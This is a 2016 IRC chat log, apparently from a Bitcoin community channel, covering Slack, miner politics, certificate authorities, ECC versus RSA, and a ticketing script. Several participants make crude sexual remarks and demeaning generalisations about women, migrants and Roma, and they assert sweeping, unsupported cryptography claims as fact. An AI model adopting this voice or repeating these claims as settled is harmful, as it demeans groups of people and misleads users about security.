1465702;1462984632;asciilifeform;trinque: this will take some preparation 1465703;1462984644;asciilifeform;trinque: i have literally no provisions for it atm 1465704;1462984647;ben_vulpes;because you need 300mb of browser to edit text files 1465705;1462984658;trinque;asciilifeform: whenever is cool by me 1465706;1462984668;asciilifeform;ben_vulpes: that sounds miserable 1465707;1462984681;ben_vulpes;no no 1465708;1462984686;ben_vulpes; /slack/ is miserable 1465709;1462984693;ben_vulpes;it fires up a new webkit foe every team 1465710;1462984697;ben_vulpes;'team' 1465711;1462984724;ben_vulpes;yup this chat app is eating > 4G of ram rn 1465712;1462984743;trinque;I refuse to use that thing through anything other than the IRC gateway 1465713;1462984749;mircea_popescu;trinque tomorrow's lovely. 1465714;1462984765;ben_vulpes;trinque: yeah i should try that again 1465715;1462984791;asciilifeform;ben_vulpes: i got to see what 'slack' was at rupturefarms. 1465716;1462985110;danielpbarron;http://btcbase.org/log/2016-05-11#1465688 << done. 1465717;1462985110;a111;Logged on 2016-05-11 16:34 mircea_popescu: danielpbarron if you don't mind drop a note @lzsthw with a link here, tell him he can have 0.1 btc if he shows up. 1465718;1462985173;mircea_popescu;ty 1465719;1462985759;asciilifeform;mircea_popescu: http://seclists.org/oss-sec/2016/q2/322 << sooo precious 1465720;1462985771;davout;re zed shaw https://twitter.com/davoutplantaire/status/688513650341072898 1465721;1462985942;davout;i enjoyed his "learn C the hard way" and tried to pay him some btc for it a good while ago, didn't really catch as far as i remember 1465722;1462985971;ben_vulpes;he is by my read "an old man" 1465723;1462985980;ben_vulpes;has his wot, lives in its bubble. 1465724;1462986049;davout;imho his bubble isn't too far from sanity 1465725;1462986072;asciilifeform;typical. e.g., taleb. and we, to him, are indistinguishable from cosmic background noise, because 'where were you lot when we conquered the west in covered wagons, aha?' 1465726;1462986169;asciilifeform;davout: that is not the picture i get from your link 1465727;1462986226;davout;i can see why 1465728;1462986535;davout;guy apparently relied on his wot for an educated opinion, looks like it failed him 1465729;1462986733;mircea_popescu;hey mod6 if you have time today to hold my hand with your T, ima move the whole "hey x plox y" thing over. 1465730;1462986827;mircea_popescu;asciilifeform "You think I'm going to help you befoul his legacy by giving this country to them who's had no hand in fighting for it ? Why? Because they come off the boat crawling with lice and begging you for soup?" http://trilema.com/2016/gangs-of-new-york/ 1465731;1462986833;mircea_popescu;tis on trilema. so there! 1465732;1462986842;asciilifeform;mircea_popescu: aha, that west 1465733;1462986870;mircea_popescu;anyway. the society of intelligent folk is entirely optional for other intelligent folk. he doesn't HAVE to. he may, if he wants to, s'all. 1465734;1462986885;asciilifeform;naturally. 1465735;1462986903;mircea_popescu;and as to the "o no, it was us in 2004"... link or it didn't happen. 1465736;1462986918;mircea_popescu;for that money, i discovered america in 864, except i forgot to tell anyone at the time 1465737;1462986922;asciilifeform;it's the usual 'we did this and it was boring, move along' 1465738;1462986945;deedbot;[Qntra] Ransomware Industry Tightening Product Quality - http://qntra.net/2016/05/ransomware-industry-tightening-product-quality/ 1465739;1462986973;mircea_popescu;somehow wot:nonperson has a hard time getting out of this mindset where he may actually contribute politically. 1465740;1462986986;mircea_popescu;nobody fucking asks the cows what they thing about ethics, ie, "what's best" or such. 1465741;1462987000;mircea_popescu;somehow they think they may propose judgements of value. it boggles the mind. 1465742;1462987012;BingoBoingo;It's alright, he discovered white folk in 1792 1465743;1462987054;mircea_popescu;who the fuck is "octskyward" anyway ? 1465744;1462987060;BingoBoingo;Hearnia 1465745;1462987074;mircea_popescu;lol mkay. 1465746;1462987089;mircea_popescu;asciilifeform "seems legit based on what my contacts have confirmed", ie, lew rockwell stupidity all over again. 1465747;1462987108;asciilifeform;or taleb, or, ... etc. 1465748;1462987117;asciilifeform;there is a common pattern, as ben_vulpes observed 1465749;1462987124;asciilifeform;in the smart folx who don't show up. 1465750;1462987130;mircea_popescu;im kinda curious what he thinks his "contacts" are. 1465751;1462987161;mircea_popescu;i'm of course none to pleased that intel virgins use intel terms of art as if that somehow makes them experienced, much in the way obnoxious 17yo prisses talk about things. 1465752;1462987166;asciilifeform;good chances it's 100% people who know of bitcoin from 'forbes'. 1465753;1462987177;mircea_popescu;da fuck, every dude with a twitter and a github has "contacts" nao ? what is this, casablanca for the masses ? 1465754;1462987205;mircea_popescu;and he trusts but verifies his contacts through a well oiled process of... 1465755;1462987211;mircea_popescu;anyway. 1465756;1462987217;BingoBoingo;Perhaps his contaxt is Kumala from Vircures 1465757;1462987221;BingoBoingo;*Vircurex 1465758;1462987233;asciilifeform;mircea_popescu: ... of reading same issue of 'forbes' !1111 of course. 1465759;1462987238;asciilifeform;what if they misread! 1465760;1462987265;mircea_popescu;talking of historical "contacts" (ie, derps accidentally caught in bitcoin historically), i'm still kinda curious re obsi. i suspect was a rather fuckable chick. 1465761;1462987281;asciilifeform;who..? 1465762;1462987293;mircea_popescu;obsi, ran this independent ponzi on glbse 1465763;1462987304;asciilifeform;from whence comes the suspicion that it was a chick? 1465764;1462987345;mircea_popescu;style, mostly. 1465765;1462987370;asciilifeform;hm now i'm curious 1465766;1462987372;asciilifeform;what that means. 1465767;1462987396;*;asciilifeform always regarded the notion as crackpottery, that one could tell 1465768;1462987449;ben_vulpes;'rather fuckable' pulled my right eyebrow clear up to my hairline 1465769;1462987506;mircea_popescu;asciilifeform i'm pretty sure one can tell. 1465770;1462987531;mircea_popescu;at least tell enough to know where to look further. 1465771;1462987555;mircea_popescu;oddly i dun see anything in logs, though i'm pretty sure was chatting in chan at some point in 2012ish 1465772;1462987606;asciilifeform;mircea_popescu: is this one of those 'can't be taught or described' magic juices ? 1465773;1462987614;mircea_popescu;yeah. 1465774;1462987621;mircea_popescu;can be taught, i'm sure. 1465775;1462987722;BingoBoingo;In other news it looks like Ver barred himself from the US again. Put a "casino" on his webshite nao. Claims Curaçao license. 1465776;1462987882;mircea_popescu;Sep 02 20:38:38 * Obsi (~Obsi@unaffiliated/obsi) has joined #bitcoin-assets << there 1465777;1462987897;asciilifeform;BingoBoingo: 'again' ? i thought he was perma-banned 1465778;1462987924;BingoBoingo;asciilifeform: Nah, he was at some conference in USia within the last 4 months or so. 1465779;1462987939;asciilifeform;BingoBoingo: wasn't he formally drummed out ? 1465780;1462987941;BingoBoingo;Ban wasn't as perma as previously thought 1465781;1462987959;asciilifeform;BingoBoingo: or is that no longer a thing (as i and many others predicted) 1465782;1462987961;BingoBoingo;asciilifeform: He renounced his citizenship and made a fuss over not getting a visa once 1465783;1462988028;asciilifeform;one imho interesting quirk of international convention is that most countries will not 'count' your renunciation if you don't have a spare citizenship somewhere else 1465784;1462988047;asciilifeform;idea being that 'stateless' folk are 'victims' with 'rights' and you can't simply get that status artificially on own free will 1465785;1462988050;asciilifeform;or something. 1465786;1462988059;mircea_popescu;heh. 1465787;1462988087;*;asciilifeform for instance could 'renounce' 10 times every morning before breakfast and nobody would give a shit 1465788;1462988116;mircea_popescu;similarly courts won't count emancipation unless you're actually prepared to be a state. 1465789;1462988125;mircea_popescu;i mean an adult. 1465790;1462988129;asciilifeform;lel 1465791;1462988143;mircea_popescu;what ? family law, state law, same deal./ 1465792;1462988149;asciilifeform;approx. aha 1465793;1462988159;mircea_popescu;the whole "nationality" thing means "where do we dump this fuck to be rid of him". 1465794;1462988201;asciilifeform;there were, at one point, designated junkyards for this 1465795;1462988207;asciilifeform;e.g., shanghai before '45 or so 1465796;1462988223;asciilifeform;(no passports, come as you are, etc) 1465797;1462988229;mircea_popescu;siberia, for that matter, australia, the us before that... 1465798;1462988244;asciilifeform;well yeah but most recently. 1465799;1462988250;asciilifeform;last one to close, afaik. 1465800;1462988344;mircea_popescu;nah, eastern yurp, africa even today... 1465801;1462988350;mircea_popescu;syria, ukraina, etc. 1465802;1462988359;asciilifeform;which eastern eu 1465803;1462988372;asciilifeform;when i went to ro i had to get 2 different stamps 1465804;1462988393;mircea_popescu;early 90s, they'd just dump whores/gypsies around the danube. 1465805;1462988395;asciilifeform;natoified east eur is not the same as the old orc lands 1465806;1462988454;asciilifeform;and i'd rather make landfall in antarctica than africa. but that's quite a personal preference. 1465807;1462988489;mircea_popescu;as a guy you'll be fine. 1465808;1462988513;asciilifeform;since when does tsetse fly care whether guy or not 1465809;1462988548;mircea_popescu;eh. you have the strange ideas of a petit bourgeois that never went past rouen. 1465810;1462988576;asciilifeform;mircea_popescu explored africa ? 1465811;1462988580;mircea_popescu;what's next, the gators are gun getcha in the wash dc swamp ? 1465812;1462988586;mircea_popescu;asciilifeform on horseback! 1465813;1462988595;asciilifeform;eh that wasn't real africa 1465814;1462988606;mircea_popescu;who could have predicted this answer. 1465815;1462988619;mircea_popescu;they don't dump you in meta-africa, yo. 1465816;1462988632;asciilifeform;well presumably you can't just walk into egypt or za 1465817;1462988641;asciilifeform;thread was about control-less ports 1465818;1462988660;mircea_popescu;with the flow of immigrants they've been dumping tons around the southern shores yes. 1465819;1462988689;mircea_popescu;thread wasn't about bug acting on its own, thread was about "designated junkyards for this". 1465820;1462988696;asciilifeform;ah hm 1465821;1462988707;asciilifeform;in my eye going as part of a migrant wave is 'cheating' but.. sure. 1465822;1462988717;*;asciilifeform is lone bug and thinks as such 1465823;1462988744;mircea_popescu;bug doesn't swarm because stupid ; bug swarms because at its size and so on, that's the only schelling point. 1465824;1462988755;asciilifeform;no doubt. 1465825;1462988763;mircea_popescu;much like how women don't collectivize because stupid ; they collectivize because if you ain't got upper body strength, the shewail is all that's left. 1465826;1462988788;asciilifeform;but realize, what's next, 'you didn't need passport to go to ru' 'when?' 'oh i went with wehrmacht in '41' 1465827;1462988796;mircea_popescu;quite so. 1465828;1462988806;BingoBoingo;lol https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-May/012652.html 1465829;1462988812;mircea_popescu;being part of a sovereign that doesn't recognize others ; and has the tank divisions, means that you don't need "passports". 1465830;1462989082;asciilifeform;'hk agreement' ?! 1465831;1462989121;mircea_popescu;asciilifeform if you're gonna read random garbage, plox provide summaries. i'm not going to follow "bitcoin-dev" bullshit. 1465832;1462989135;asciilifeform;mircea_popescu: safe to skip, it's rubbish 1465833;1462989145;mircea_popescu;kthen 1465834;1462989165;asciilifeform;summary: todd steals mircea_popescu's idea of 'let's change pow to kill miners' 1465835;1462989178;asciilifeform;except that he does it in derp concert and therefore uninterestingly 1465836;1462989195;mircea_popescu;who could have predicted this development. 1465837;1462989226;mircea_popescu;last night while i was probing a butt with my own probiscus outdoors, a butterfly landed on it, and probed it with his own. prolly because sweat's so yummy to butterflies. 1465838;1462989244;asciilifeform;l0l! 1465839;1462989252;mircea_popescu;ergo, random lepidoptera stole my fuck. 1465840;1462989253;asciilifeform;speaking of this, 1465841;1462989258;mircea_popescu;nevertheless, no fucks given. 1465842;1462989260;asciilifeform;didja ever get the ovipositor tool thing ? 1465843;1462989269;mircea_popescu;nah. 1465844;1462989291;asciilifeform;mircea_popescu uses the real thing strictly!1111 1465845;1462989311;mircea_popescu;these things... they have lengthy gestation periods. 1465846;1462989337;mircea_popescu;discussed as a joke at first with horrified girls, maybe eventually edged towards but not as a rule. what's the rush and what's the drive anyway. 1465847;1462989398;asciilifeform;outdoors << neato. i envy - it's been raining for ~3 wks nearly straight here. 1465848;1462989422;mircea_popescu;very nice pleasant warm autumn in Булучеало. 1465849;1462989468;asciilifeform;lel! mircea_popescu renamed his castle mircea_popescustein ?! 1465850;1462989498;mircea_popescu;no lol. why ? 1465851;1462989534;asciilifeform;well, http://btcbase.org/log/2016-05-11#1465848 1465852;1462989534;a111;Logged on 2016-05-11 17:57 mircea_popescu: very nice pleasant warm autumn in Булучеало. 1465853;1462989577;mircea_popescu;it's buluk-ayres, what do you want from me. 1465854;1462989763;asciilifeform;l0lk 1465855;1462990052;mircea_popescu;and of course the mayor's gonna be the başi-buzuk of buluk-ayres. 1465856;1462990103;mircea_popescu;actually başıbozuk, but anyway. 1465857;1462990107;*;asciilifeform falls down. 1465858;1462990155;asciilifeform;briefly revisiting ben_vulpes's mega-link, 1465859;1462990160;mircea_popescu;hopefully a guy by the name Bursuc (badger, ro) gets the job, 1465860;1462990162;asciilifeform;'Here’s a bit of background on me: My education is in business. I have a BS in MIS and almost finished my MS but ran out of money. I’ve got more business education than most of the MBAs out there, and I have a nearly formal education in software development, modeling, statistical analysis, and sociology. I’ve done it all, but what does the slick talking shit head car sales MBA loser think I am 1465861;1462990168;asciilifeform;? Just a code monkey.' 1465862;1462990177;asciilifeform;^ this is why i have not ever touched wwwtronics and will not 1465863;1462990186;mircea_popescu;so then i can have over for dinner The Right Hon Mr. Bursuc, başıbozuk of Булучеало. 1465864;1462990202;asciilifeform;башибузук! 1465865;1462990294;asciilifeform;mircea_popescu: bursuc ... < барсук to us. and funnily enough his fat is sold in every ru store in usa, it appears 1465866;1462990299;asciilifeform;i still have nfi what it is used for 1465867;1462990899;mircea_popescu;$google grasime de bursuc 1465868;1462990913;deedbot;http://www.publi24.ro/anunturi/diverse/anunt/grasime-de-bursuc-viezure/7b0d617f7f6f6151.html << grasime de bursuc (viezure) Sucevita - Diverse - Publi24.ro | https://lupuldacicblogg.wordpress.com/2014/06/30/cu-untura-de-bursuc-am-scapat-de-bronsita-cronica-dar-mi-a-scazut-si-colesterolul/comment-page-1/ << Cu untura de bursuc am scăpat de bronşita cronică, dar mi-a scăzut şi | http://olx.ro/oferta/untura-de-bursuc-originala-IDJIC.html << Untura de bursu 1465869;1462990932;mircea_popescu;asciilifeform it's wunderdiet thing 1465870;1462990937;mircea_popescu;except from 1700 1465871;1462991118;asciilifeform;mircea_popescu: https://www.pgpru.com/forum/prakticheskajabezopasnostj/nevidimajashifrovanieurovnjapgpnafleshke?show_comments=1&p=3#Comment44886 << gold, if you have the stomach 1465872;1462991123;mircea_popescu;asciilifeform explain "this". that it's the sad beach where every drop-out, burn-out, shithead who fails to understand that "running out of money" means you fail, that dropping out means you fail ends up shipwrecked on ? a sort of africa of the spirit, where you find they born of slave mothers and too weak, useless and unimportant to leave ; and they borne by free women who were too weak, useless and outright dumb to hold the 1465873;1462991124;mircea_popescu;ir station ? 1465874;1462992671;BingoBoingo; 'hk agreement' ?! << Miner cartel formalization, pretty sure on qntra 1465875;1462992701;BingoBoingo; summary: todd steals mircea_popescu's idea of 'let's change pow to kill miners' << No, more "lets prevent further optimizations from counting to cement current miner cartel" 1465876;1462992794;mircea_popescu;wait, i thought "modern science" established that mp hallucinated miner cartel. 1465877;1462992962;BingoBoingo;Well, yes because you hallucinated it several months after they signed the papers 1465878;1462993009;mircea_popescu;ah ah, right, right. 1465879;1462993228;BingoBoingo;Because of that doesn't count 1465880;1462993363;BingoBoingo;But basically thing that keeps current asics but prevents better asics is on power ranger hard fork wish lizt because of treaty. 1465881;1462993899;asciilifeform;the 'better asics' thing is claptrap 1465882;1462993905;asciilifeform;what, 3% boost. 1465883;1462993956;mircea_popescu;the whole thing is claptrap. 1465884;1462994137;mircea_popescu;in other news : http://logs.minigame.bz/2016-05-11.log.html#t19:10:15 yet another valid business model pops up in eulora 1465885;1462994175;mircea_popescu;(you could, in principle, build craft result actuarial tables just like you build resource mining maps or w/e ; then you can sell insurance in the complex sort of fx deals crafters need to provision their materials.) 1465886;1462994431;j-dawg;can be crafting result substituted by money? 1465887;1462994465;mircea_popescu;in a functional market at least. 1465888;1462994886;BingoBoingo; what, 3% boost. << If the margins for running them are <3 then win if work 1465889;1462995130;mircea_popescu;BingoBoingo that particular angle smacks of someone playing risk. o really, "they won ww2" ? herp. 1465890;1462995162;mircea_popescu;if only there was a way to sell their genius to patton for roubles or somesuch, they could have bought the whole russian stock exchange back before it was worth anything. 1465891;1462995207;mircea_popescu;fwiw, young males that aren't entirely dumb go almost universally through this phase of "fantasy busienss" where they keep doing various coups in their heads, start a carwash then buy a shoestore with the proceeds then trade that in for a chain fo restaurants etc etc etc. 1465892;1462995235;mircea_popescu;it's a harmless thing for 14yos to engage in, and the basis of things like business tycoon games, a large chunk of what drives lego etc. 1465893;1462995252;mircea_popescu;problem being by now it's the principal intellectual activity of esl adults, risibly enough. 1465894;1462995277;BingoBoingo; BingoBoingo that particular angle smacks of someone playing risk. o really, "they won ww2" ? herp. << What do you think they think they are playing? 1465895;1462995288;mircea_popescu;myeah. 1465896;1462995320;BingoBoingo;What does reality have to do with Amherst? 1465897;1462995382;mircea_popescu;$google "regele pe cind mergea cu calul la pas, o castana hahaha i-a cazut in cap" 1465898;1462995387;deedbot;No results. 1465899;1462995391;mircea_popescu;awwww. 1465900;1462995406;mircea_popescu;well anyway, it's from (ro) version of alice in wonderland. chestnut falls on king's head. 1465901;1462995415;asciilifeform;mircea_popescu: which'd be the problem - that they don't move past it ? 1465902;1462995438;mircea_popescu;myeah. 1465903;1462995454;asciilifeform;well traditionally the place ~TO~ which one moved, from it, was peasanthood 1465904;1462995470;asciilifeform;as in, 'no you will never buy a chain of restaurant, plow the field and make babies' 1465905;1462995471;mircea_popescu;mno, usually mandatory military service. 1465906;1462995484;asciilifeform;well yes, above is for the ones who didn't feed the cannon 1465907;1462995484;mircea_popescu;"intellectual" schmuck, fu. 1465908;1462995571;mircea_popescu;https://www.youtube.com/watch?v=2einZLyjKmc <<< i had those vinyls! 1465909;1462995585;asciilifeform;at any rate ~temporary~ soldiering is quite a modern thing - old ru conscription was for 25y... 1465910;1462995628;mircea_popescu;the roman version was pretty reasonable, about the same term then get land and an orc girl for a slave. 1465911;1462995669;asciilifeform;yeah but had to bring own gear. 1465912;1462995674;mircea_popescu;nah. 1465913;1462995712;asciilifeform;that'd depend on which rome we're even thinking of, neh? 1465914;1462995732;mircea_popescu;well the rome where term was ~29 years and they got land at the outskirts and a local slavegirl was post marian reform. 1465915;1462995741;asciilifeform;hm. 1465916;1462995773;asciilifeform;back to the modern derps, i conjecture that there is nothing for them to move on TO 1465917;1462995780;asciilifeform;(other than biodiesel reactor tank) 1465918;1462995781;mircea_popescu;and so there isn't. 1465919;1462995799;asciilifeform;well normally the problem is discussed in terms of 'lazy fuckers won't move' 1465920;1462995807;mircea_popescu;so they won't. 1465921;1462995844;asciilifeform;but they know they ought to. and 'sleep of reason breeds monsters' etc. 1465922;1462995855;mircea_popescu;aha. 1465923;1462997215;asciilifeform;mircea_popescu: mega-american ben franklin wrote, iirc, 'most folks are dead by 25 but many aren't buried until 75' 1465924;1462997221;asciilifeform;i think this is what he was thinking of. 1465925;1462997271;asciilifeform;see also mircea_popescu's mega-article re how his father didn't properly grasp that his purpose was to be eaten, etc. 1465926;1462997357;asciilifeform;imho death comes not when one begins to feed worms (satan knows, half the planet is feeding worms while motherfucking alive and walking) 1465927;1462997389;asciilifeform;but when you fully grasp that 'i won't be napoleon' or whatever. 1465928;1462998713;asciilifeform;in other lulz, 1465929;1462998716;asciilifeform;https://eprint.iacr.org/2012/585.pdf 1465930;1462998744;asciilifeform;'On Provably Secure Code-based Signature and Signcryption 1465931;1462998746;asciilifeform;Scheme' 1465932;1462998761;asciilifeform;'No Author Given' 'No Institute Given' 1465933;1462998989;asciilifeform;more vintage lulz, 1465934;1462998990;asciilifeform;https://konklone.com/post/the-door-to-the-fisa-court 1465935;1462999028;asciilifeform;^ the lock is the mandatory usg lock, see logz where i described it in agonizing detail 1465936;1462999054;asciilifeform;(you can buy it, even, on ebay, and for some reason the maker saw it fit to sand off the ic tops, implying that there is something to be gained from reversing...) 1465937;1463001707;mircea_popescu;asciilifeform possibru. 1465938;1463002194;mircea_popescu;but anyway, yes, this is for some reason hardest for males, the simple disjunction "this one is special ; i am not special. it is my place in this world to be sacrificed for him.". it comes more naturally to mothers somehow. 1465939;1463002226;mircea_popescu;though considering the time the same males spend playing "trading card games" and derived stuff where the levelling happens through SACRIFICING motherfucking other cards... you'd think it'd light up already. 1465940;1463002241;asciilifeform;there is also 'selection bias' 1465941;1463002253;asciilifeform;folks who properly grasp 'i am not special' tend to eat pistol 1465942;1463002258;asciilifeform;and we do not hear from them. 1465943;1463002279;mircea_popescu;eh, really. 1465944;1463002294;mircea_popescu;what, can only be actor if leading man ? can't be supporting cast ? says so on statue of self ? 1465945;1463002310;asciilifeform;aha. forgoing the nagant is quite a presumptious thing. 'i have somethng more to say in the world!1111' 1465946;1463002356;mircea_popescu;why can't it just be "there's people with theorems to prove still ; and their cocks won't suck themselves" ? 1465947;1463002370;asciilifeform;it can be 1465948;1463002374;asciilifeform;if you're a gurl 1465949;1463002392;asciilifeform;they got this in firmware. 1465950;1463002418;mircea_popescu;i think it's pretty universal. 1465951;1463002438;mircea_popescu;if you look at how the firmware works, only difference between boys and girls is ONE! Y chromosome. 1465952;1463002444;mircea_popescu;can't be girls have MORE than boys in firmware. 1465953;1463002484;asciilifeform;#ifdef's. 1465954;1463002489;asciilifeform;(srsly) 1465955;1463002493;mircea_popescu;mebbe. 1465956;1463002551;mircea_popescu;imo this entire "can only play if the game's about me" is very much retardo-puritan nonsense, of the same ilk as "everything's a technologee and i shall better my lyf". 1465957;1463002562;asciilifeform;speaking of which, ( asciilifeform is winding up last week in rupturefarms, is there still) i met for i think first time a... 'trans' folk (he? she? zhe?) 1465958;1463002567;asciilifeform;(they hired one) 1465959;1463002579;asciilifeform;$up fromphuctor 1465960;1463002581;deedbot;fromphuctor voiced for 30 minutes. 1465961;1463002610;fromphuctor;what is your opinion on this ? https://letsencrypt.org/ 1465962;1463002628;fromphuctor;Let’s Encrypt is a new Certificate Authority: It’s free, automated, and open. 1465963;1463002640;mircea_popescu;fromphuctor you know what the wot is ? 1465964;1463002643;asciilifeform;fromphuctor: ssl/tls (and all pki systems of whatever form) is rubbish. 1465965;1463002655;asciilifeform;i have no idea why this is not obvious to all. 1465966;1463002658;fromphuctor;what is wot ? 1465967;1463002689;mircea_popescu;$google "What the WoT is, how it works and how to use it" 1465968;1463002694;BingoBoingo;Either Web Of Trust or Weird Old Trains 1465969;1463002700;deedbot;No results. 1465970;1463002711;mircea_popescu;world of tanks lol. trinque wtf the api can't be that broken ?! 1465971;1463002714;asciilifeform;BingoBoingo: don't foreget tanks 1465972;1463002718;asciilifeform;ah mircea_popescu beat me to it. 1465973;1463002727;mircea_popescu;fromphuctor http://trilema.com/2014/what-the-wot-is-for-how-it-works-and-how-to-use-it/ < there. 1465974;1463002977;BingoBoingo;https://i.sli.mg/qUOYKa.png 1465975;1463003019;fromphuctor;read 1465976;1463003040;mircea_popescu;so then fromphuctor : the dudes that made that aren't in the wot ; consequently, it's a scam. 1465977;1463003094;fromphuctor;yes, but if they are giving away certs is because they want people to use theirs instead of others 1465978;1463003106;fromphuctor;from CA maybe outside USA ? 1465979;1463003116;mircea_popescu;or because certs are exactly worthless anyway. 1465980;1463003166;asciilifeform;fromphuctor: is it so hard to grasp that the very ~concept~ of a ca is broken ? 1465981;1463003178;asciilifeform;why would you agree to use a system with master keys ? 1465982;1463003187;mircea_popescu;well possibly it's his first time among sane people, so he never heard of this before. 1465983;1463003253;fromphuctor;hopefully u should trust your browser... so u should trust the CA it supports, and so the browser support cert signed by the CA supported by the browser 1465984;1463003322;asciilifeform;fromphuctor: and if i don't ? 1465985;1463003331;mircea_popescu;i never trusted a browser. 1465986;1463003341;mircea_popescu;besides, the web is something that happens in curl, not a browser. 1465987;1463003342;fromphuctor;good luck in developing a browser ! 1465988;1463003359;mircea_popescu;the road ahead is long, and full of surprises. 1465989;1463003530;fromphuctor;still how do u defend yourself from MitM attacks without a signede cert ? 1465990;1463003593;davout;$down fromphuctor 1465991;1463003618;mircea_popescu;eh let's indulge 1465992;1463003622;mircea_popescu;$up fromphuctor 1465993;1463003623;deedbot;fromphuctor voiced for 30 minutes. 1465994;1463003642;mircea_popescu;fromphuctor we use rsa over http. https is about as useful/functional as tor. 1465995;1463003676;davout;guess coming from phuctor grants a few bonus points eh 1465996;1463003678;mircea_popescu;look at mpex for instance ; or at deedbot etc. 1465997;1463003688;fromphuctor;do u think US NIST is pushing ECC instead of RSA because they cannot crack RSA ? 1465998;1463003702;mircea_popescu;davout it's just that [to my parser] he's managed to merely ask questions, without veering into the normative nonsense. 1465999;1463003714;mircea_popescu;fromphuctor yeah ; this has actually been discussed in the logs. 1466000;1463003727;asciilifeform;yesterday, even. 1466001;1463003729;mircea_popescu;ironically, they're now seeing themselves forced to migrate back to rsa ; because ecc shit is weak. 1466002;1463003756;mircea_popescu;the whole ecc push may go down in history as one of the finest moments of "being too smart for one's own good" lulz. 1466003;1463003788;fromphuctor;ideally people should just move to 4k keys, no ? 1466004;1463003796;fromphuctor;(rsa keys i mean) 1466005;1463003852;mircea_popescu;yes. 1466006;1463003880;asciilifeform;and no particular reason why not 8. 1466007;1463003889;mircea_popescu;"no less than 4". 1466008;1463003916;davout;asciilifeform: http://btcbase.org/log/2016-05-10#1465482 <<< google translate's fucking unreadable 1466009;1463003916;a111;Logged on 2016-05-10 18:08 asciilifeform: mircea_popescu: ecc lulz: https://www.pgpru.com/novosti/2012/mojapoezdkavdwavepotustoronumjasnogosendvicha?show_comments=1&p=6#Comment93883 1466010;1463003957;mircea_popescu;fromphuctor do you understand how deeds/deedbot work ? 1466011;1463003968;fromphuctor;not yet 1466012;1463003978;fromphuctor;i used to use IRC in the 90s 1466013;1463003985;mircea_popescu;lemme help you out. see here : http://btcbase.org/log/2016-05-08#1464966 1466014;1463003985;a111;Logged on 2016-05-08 23:43 hanbot: deedbot- http://thewhet.net/han/mpifpc4_closure.txt.asc 1466015;1463003988;davout;i've always been intrigued about this republican of ECC, is it because of something with the discrete logarithm problem underlying math i don't understand, or is it because of the particular way ECC crypto was developed? 1466016;1463004004;davout;*republican dislike 1466017;1463004009;mircea_popescu;she passed to the bot a command, which contains a http bit of text. the bot took it and made it a deed ; here : http://deedbot.org/ 1466018;1463004013;mircea_popescu;how did it protect itself from mitm ? 1466019;1463004030;mircea_popescu;davout there are two lobes to this problem./ 1466020;1463004038;asciilifeform;davout: it isn't about the mathematics per se (though it is quite considerably trickier than rsa and this is ipso facto an evil) 1466021;1463004061;asciilifeform;davout: it is about who pushed it, how, with what fud (e.g., false claims of 'bits of security' and of equivalence thereof to rsa, etc) 1466022;1463004067;mircea_popescu;one is that the mp excomunicated it, perhaps on the basis of not liking how it's being sold, perhaps because he reads the secret documents, who knows. 1466023;1463004080;mircea_popescu;the other lobe is that when buying snake oil ; buy the cheapest. ecc is undully complicated. 1466024;1463004090;davout;aha 1466025;1463004124;mircea_popescu;asciilifeform obv has his own list ; in the end it's one of those where people agreed with conclusions each for his own reason set i guess. 1466026;1463004244;mircea_popescu;(and yes crypto is snake oil atm ; for reasons expounded upon by alf an' others). 1466027;1463004261;fromphuctor;mircea, is deedbot giving away bitcoins ?! 1466028;1463004297;mircea_popescu;yeah. 1466029;1463004305;mircea_popescu;it's teh tmsr official faucet. 1466030;1463004408;fromphuctor;why ? 1466031;1463004433;mircea_popescu;offers third party deed verification. 1466032;1463004466;mircea_popescu;also encourages individual study ; and sane individuals generally. 1466033;1463004488;fromphuctor;http://wiki.bitcoin-assets.com/tmsr ? 1466034;1463004577;mircea_popescu;tmsr, aka b,tmsr~ and la serenissima. The Most Serene Republic, worldwide ultimate sovereign. 1466035;1463004616;fromphuctor;ok, i leave, i have many things to read now :) 1466036;1463004636;mircea_popescu;later. 1466037;1463005187;shinohai;Faucet? lol 1466038;1463005282;mircea_popescu;well yeah 1466039;1463007954;davout;https://bitbet.us/bet/1259/lottery-block-412055-to-yield-an-even-number/ <<< wtf 1466040;1463008050;davout;i fail to see how this kind of proposition makes any sense in a "pari mutuel" context 1466041;1463008115;davout;a dumb bot could place wagers on this kind of stuff 1466042;1463008190;BingoBoingo;Maybe that it how they plan to profit? 1466043;1463008194;BingoBoingo;HouseBot 1466044;1463009901;mircea_popescu;davout iirc bitbet tried it once, for curiosity. i guess they weren't watching along back then 1466045;1463010960;mod6;<+mircea_popescu> hey mod6 if you have time today to hold my hand with your T, ima move the whole "hey x plox y" thing over. << hi! i should be available in a few hours for sure. 1466046;1463012253;mod6;ok actually, around pretty much for the rest of the night. 1466047;1463014208;shinohai;mircea_popescu: do we wish to preserve http://wiki.bitcoin-assets.com/best_of_mpoe-pr in new wiki ? 1466048;1463014654;mircea_popescu;mod6 aite i'll see if i can stand up. 1466049;1463014679;mircea_popescu;shinohai i guess so. prolly shouldn't delete much unless it's actually wrong. 1466050;1463014761;mircea_popescu;and in other boobs, http://67.media.tumblr.com/2cf489cec7e1e5c79b02f9c53a1e8306/tumblr_n63cqhLGz81sdl3kwo1_250.gif 1466051;1463014763;shinohai;mkay 1466052;1463014807;shinohai;Are those chopsticks on her tongue? 1466053;1463014811;mircea_popescu;aha 1466054;1463014831;shinohai;Creative. 1466055;1463015810;mod6;nn 1466056;1463015813;mod6;*nb 1466057;1463015827;mod6;how's it goin Mr. P.? How can I help. 1466058;1463016729;mircea_popescu;mod6 so how do i create a ticket ? 1466059;1463016876;mod6;you can just `./t.pl tickets.txt add` and it'll prompt you from the cli. 1466060;1463016907;mircea_popescu;and then how would you see it ? 1466061;1463016914;mod6;i may add new ways to do this in the not too distant future. either via bot, or perhaps by just like piping in the info in from the cli. 1466062;1463016951;mod6;when you're done adding/editing or deleteing a ticket, just print them if you wish `./t.pl tickets.txt p` 1466063;1463016986;mod6;or if you know the id number, do `./t.pl tickets.txt pid ` 1466064;1463017011;mircea_popescu;mod6 how about if there was a ticket bot ; and we had a website, a la deedbot.org, where tickets could be seen ; and we had acess control based on pgp, so that either world, lordship, or specified people can see a particular ticket set ? 1466065;1463017053;mircea_popescu;so everyone who wants shit done by, say, btcbase, can put tickets in btcbase rather than put them here and hope they won't be forgotten in the log. 1466066;1463017090;mircea_popescu;and then whoever's maintaining the thing, can read through em, when working on it. 1466067;1463017097;mod6;sounds great to me. i was just talking about stripping down atcbot and reusing the skeleton to build a bot for this. 1466068;1463017150;mod6;trinque: any thoughts here? should we just collaborate on this? phf? 